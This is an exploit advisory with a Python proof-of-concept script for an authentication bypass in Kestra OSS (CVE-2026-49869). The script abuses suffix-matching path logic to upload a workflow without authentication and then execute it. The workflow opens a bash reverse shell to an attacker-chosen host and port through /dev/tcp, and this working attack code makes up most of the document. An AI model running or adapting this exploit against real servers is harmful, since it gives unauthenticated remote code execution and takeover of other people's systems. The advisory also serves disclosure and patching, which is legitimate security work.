Kestra OSS Authentication Bypass Remote Code Execution v1.3.20# Title: Kestra OSS Authentication Bypass Remote Code Execution (CVE-2026-49869) v1.3.20 # Author: nu11secur1ty # Date: 10.05.2026 # Vendor: Kestra # Software: Kestra OSS # Reference: https://github.com/kestra-io/kestra ## Description: CVE-2026-49869 is a critical authentication bypass vulnerability residing within Kestra OSS's core request-filtering mechanism (`AuthenticationFilter`). Due to insecure suffix-matching logic (`endsWith("/configs")`) instead of strict routing or exact segment validation, attackers can craft custom request paths that bypass security controls. This allows unauthenticated remote attackers to create, modify, and execute arbitrary workflows (`flows`) containing execution plugins (such as `io.kestra.plugin.scripts.shell.Commands`), leading to full Remote Code Execution (RCE) with high privileges on the hosting environment. STATUS: Vulnerable / PoC Verified [+]Payload: ```python #!/usr/bin/python # Tool/Model: nu11secur1ty from argparse import ArgumentParser from ipaddress import IPv4Address from urllib.parse import urlsplit from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError # Parse command line arguments parser = ArgumentParser() parser.add_argument("target") parser.add_argument("--lhost", type=IPv4Address, required=True) parser.add_argument("--lport", type=int, required=True) args = parser.parse_args() # Validate target URL format target = urlsplit(args.target) if target.scheme not in ("http", "https") or not target.netloc or target.path not in ("", "/") or target.query or target.fragment: parser.error("target must be a base HTTP URL") if not 1 <= args.lport <= 65535: parser.error("lport must be between 1 and 65535") base = args.target.rstrip("/") + "/api/v1/main" # Define malicious flow payload containing a bash reverse shell flow = f"""id: configs namespace: configs tasks: - id: shell type: io.kestra.plugin.scripts.shell.Commands taskRunner: type: io.kestra.plugin.core.runner.Process commands: - "bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" """ try: # Upload the flow configuration utilizing the auth bypass req_flow = Request( f"{base}/flows/configs?delete=false", data=flow.encode(), headers={"Content-Type": "application/x-yaml"} ) urlopen(req_flow, timeout=10).close() print("[+] Flow uploaded successfully.") # Trigger the flow execution req_exec = Request(f"{base}/executions/configs/configs", method="POST") response = urlopen(req_exec, timeout=10).read().decode() print("[+] Execution triggered successfully:") print(response) except HTTPError as e: print(f"[-] HTTP Error: {e.code} - {e.reason}") except URLError as e: print(f"[-] Network Error: {e.reason}") except Exception as e: print(f"[-] An unexpected error occurred: {e}") # Reproduce: [href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-49869) # Demo: [href](https://odysee.com/@nu11secur1ty:b/CVE-2026-49869-RCE-exploit:a) # Time spent: 01:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
Thanks for you comment!
|
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |